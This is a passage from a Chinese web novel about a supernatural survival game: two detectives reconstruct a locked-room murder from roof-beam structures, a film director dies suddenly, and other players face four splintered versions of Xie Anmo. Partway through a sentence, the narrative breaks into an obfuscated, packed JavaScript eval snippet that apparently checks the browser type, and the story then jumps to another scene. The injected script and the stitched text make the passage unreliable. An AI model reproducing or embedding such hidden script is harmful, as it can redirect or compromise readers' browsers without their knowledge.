出门后,焦棠抬头看那轮硕大的月亮,心生疑惑:“你有没有觉得今晚特别漫长?” 说完,她自己先掏出手表看时间,心咯噔一下,手表显示上午11点。第四天竟然悄无声息地降临了。 “快走。”齐铎也意识到时空扭曲导致失序的后果。 白晃晃的月光照耀下,丹焰楼的檐壁投出长长的影子。 焦棠盯着地上影子寻思片刻,又爬上三楼,在屋顶的梁枋上,来回摸索。 她始终坚信,凶手选择将尸体悬挂在梁上,一定是因为梁上有值得做文章的地方,既然如此,丹焰楼和不朽堂的区别可能就在这上面。 齐铎在外面屋顶来回观察,十几分钟后,他勾进窗户内,像只倒悬的蝙蝠,对焦棠说:“这是不是书里说的偏异国的建筑?” 焦棠在梁桁上纵跃,举着手电筒照了照,小声喊道:“从书上画的对比图来看,房顶举折结构像是异国小屋组的构造。所以丹焰楼的屋顶有很大的空间,全架了梁栋木头,而且我检查过了,每根木头都很结实。” 齐铎:“屋顶和墙面也看不出问题。去不朽堂看看。” 五分钟后,两人到了不朽堂前。 焦棠一看堂前的风水,眉心一阵跳动。 齐铎主动揽活儿,说:“这次我进去,你上屋顶。” 说完,他冲进堂内,唰地跳上五架梁。焦棠也冲进去,攀跳到他身边。 齐铎愣了一下,无奈微笑,果然焦棠还是表面敷衍,内心反骨的作风。 两个人从梁枋到椽檩摸了个遍,顶上灰不多,像是近期有人简单清扫过。除此之外,木作结构旧归旧,仍十分夯实牢固。 焦棠俯下身,拽住那段绑在梁上的麻绳,之前就是这条麻绳拴着颜芙的脑袋。绳子顶端在梁上缠了好几圈,也十分结实,就算用利器割也得费很大劲才割下。 然后她掉转身子,去摸悬挂尸体的铜钉,钉子向上倾斜10度左右,钉口边缘挂着一点红色印记。焦棠搓了搓,是一块干涸的铁皮类物质。 她俯视地下褐色血印,从厅堂内侧靠近墙的位置,分成两条浑浊的平行线,一直延伸至梁下。两条线的两端血迹较多,中间血迹少而清晰。 两个人悄然翻身下来,以防又被怪物妄相盯上,迅速撤出门外,再做讨论。 焦棠站定,说:“不朽堂是典型的中式举折,顶上是叠梁式结构,所以屋顶的空间比较小,没有丹焰楼那么多梁栋,相对来说视野好,可操作性更强。” 齐铎立即明白她指的是在杀人手法上,两种举折的区别在于,不朽堂的梁枋数量不多,层叠清晰,可活动的地方比较大,有利于凶手用工具来移动尸体。 相对的,丹焰楼的小屋组构造,梁枋太密集,凶手要在密集的木头之间移动尸体,活动空间就会非常有限。而且,从最底下的梁到屋顶的距离又比较高,尸体移动起来也会遇到很多阻碍,机动性很差。 焦棠突然语出惊人:“其实,破除一切障眼法后,我好像猜到密室的手法了。” “我也猜到一半了。但如果想证明我们的答案,陈导演可以给出我们要的证据。”齐铎也有较劲的动力了。 不过,没有百分之八九十的把握,两个人都不敢轻易肯定自己的猜想。 焦棠豁然笑道:“陈导演倒是个现成的,能最快能判断我们的推理对还是错的人。” 陈导演就住在金石阁隔壁的贵宾楼。 最近两日,他都深居简出,恐怕是因剧组连失两名重要成员而伤神。 焦棠抱着颗粒无收的心态,敲开他的门。 陈导演在烟雾缭绕中,端着老艺术家的架子,审视来者,问:“有什么重要的事值得你们两位记者登门造访?” 焦棠视线探向房内,烟雾来自还未熄灭的烟灰缸,留声机里播放着吴侬软语的歌声。 她随口问:“都这种时候了,陈导演好雅兴啊。” 陈导演哂笑:“我都一把年纪了,还有什么放不下、忘不了、过不去的事吗?” 焦棠直奔主题:“唐突到访是因为有个问题想请教陈导。”“问吧。”他松了松肩膀,将人让进屋里,招呼他们坐。焦棠与齐铎省去繁文缛节,站着发问。 焦棠:“陈导知道颜芙和郭昊的体重吗?” 陈导当即皱眉:“问这个做什么?”齐铎帮腔:“他们两人的体重关乎凶手的作案手法。还请陈导不要藏私。” 陈导犹豫了一下,叹口气:“既然是案情所要,我自然不会隐瞒。颜芙是女明星,她的体重一直被外界关注,近日报道也写了,体重是52公斤。郭昊在电影厂的医务室做过体检,一个月前他自己说了,大概是48公斤。” 原来颜芙看着瘦,体重上还是很标准的,不像以后的明星一味追求白幼瘦。焦棠估算着两人的体重差,与齐铎听此,对视一眼,欣喜之情藏在眼中,心中大石至少落下一半。 陈导面露疑惑:“体重与他们的死有什么关系?” “关系很大,最重要的一点就是他们的体重差,正好是一个头颅的重量。”焦棠打量陈导神色,见到他一闪而过的释然。 此时突生变故!四象园里几声凄厉叫喊划破寂静,好似水入油锅,园内骤然惊现一阵阵躁动。 陈导转身跑去看窗外,人刚靠近窗子,头颅无声无息就歪了下去,整个人像泄气的气球,瘫倒在地上,再没动静。 齐铎将他翻转过来,他的脸色铁青,口鼻流血,像是突然被一股巨大的蛮力掰断了脖子。 担心园里出现巨大的规律影响,又担心陈导尸变,齐铎迅速拉起焦棠飞奔出楼。 “怎么回事?”焦棠站在高大树干上,从陈导之死的震撼中缓过神,此刻俯瞰园内,时断时续的叫声怪异又凄惨。 齐铎摸出手表,时间是下午五点。“还没入夜,不知道是什么力量引发的连锁反应?” “像不像那里出事了?”焦棠目光所指的地方正是谢安墨的住所。 两个小时前。 周寻音、吴见故和途灵在路上碰见,三人殊途同归,最后走到一栋金色楼宇下。 这栋谢安墨居住的楼,名叫“坤銮阁”。 坤銮阁有两层楼,设有独立庭院,十分气派。周寻音三人跨过院门,经过一池睡莲,两排高大银杏树,走上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只有剃去头发的谢安墨阴恻恻,不发一言。 其余三人狞笑逐渐歇停,剃发的谢安墨这时说道:“杀人因为恨,我恨他们吗?” “你恨那些身居高位,将你当作玩物的人?”途灵想起谢安煜的话,试探地问。 衣裳凌乱的谢安墨咬了咬红唇,大笑起来,硬生生将脸颊笑出两坨血色的红。 “你错了。我也不恨那些人。释迦牟尼舍身饲虎,为了四象园我也甘愿献祭这幅身躯。可惜我这么想,他们不这么想。” 手持匕首的谢安墨双眼迷离,哽咽道:“我只是需要点时间,来好好思考谢家和四象园的未来,为什么他们就不懂呢?非要逼我做出决定。” 周寻音问:“他们是指谁?” 打扮时髦的谢安墨巧笑嫣然,叹道:“还有谁?当然是我那两个不成器的弟弟。他们不懂我为四象园付出了多少,他们不懂我的烦恼,成天只知道吵吵吵,烦都烦死了。” 手持匕首的谢安墨五官扭曲,咬牙切齿:“他们心疼我,更心疼自己的东西。安法是一个老古董,故步自封,在这个时代迟早要被淘汰。安煜是一个毛头小子,急功近利,迟早要将谢家败光。他们口口声声要救我于水火之中,最后还不是推我进火坑里,替他们挣一个机遇。” 打扮时髦的谢安墨睁大无辜的眼睛:“我呢,人前就当他们的好姐姐,忍辱负重。他们心中有愧,对对方就越憎恨。越是憎恨就越能平衡谢家的权力,在局势明朗之前,天平最好别倾向任何一端。只是……” 突然她停下话,两行泪汹涌而下,紧接着四个谢安墨齐齐恸哭起来。 四人齐声哭喊:“安法死了!我的好弟弟死了!” 哭声一叠高过一叠,周寻音三人像被巨大的压力困在原地,无处可逃。 吴见故抱住床杆,扯住周寻音胳膊,颤抖叫唤:“姐,周围好多眼睛。” 周寻音退到床边,她也看见墙壁、柱子、地板上长出了许多硕大的眼珠子。 途灵一边爬上床,一边操作电脑。电脑屏幕上显示周围空间已扭曲,暂时计算不出逃走的路径。她气闷地一屁股坐到被子上。 忽然,哭声夹杂一道高亢的尖叫。 途灵打个激灵,看见刚刚睡着的陶瓷雕塑,不知何时半坐起来,脖子张开一个大口,将吴见故半边身体吞了进去。 吴见故觉得筋肉活生生被扯断的痛。在他疼晕过去前,他发动了“借阳术”,于是四象园里的NPC一个个被借去阳寿,突然暴毙。 周寻音惨白着脸,大力去拔吴见故的胳膊,拔着拔着,吴见故只剩一条胳膊和一个脑袋还露在深渊巨口外面,她泪水不自觉唰唰地掉。 “你的借阳术是不是可以用在玩家身上?” 周寻音也想到他的能力,如果借的是玩家的命,是否意味着吴见故就能够脱险。但周寻音在这场遇到的玩家都是好人,借谁都是一种背叛与谋杀。 周寻音想到自己漫长的旅程,看不见希望的追寻与坚持,忽然释然了,既然有让她践行生前救死扶伤这种信念的机会,现在替吴见故死,何尝不是一种功德圆满? 她大声对吴见故喊:“你把借阳术用我身上!” 吴见故只剩脖子以上在外面喘气,哭兮兮摇头,既绝望又不舍。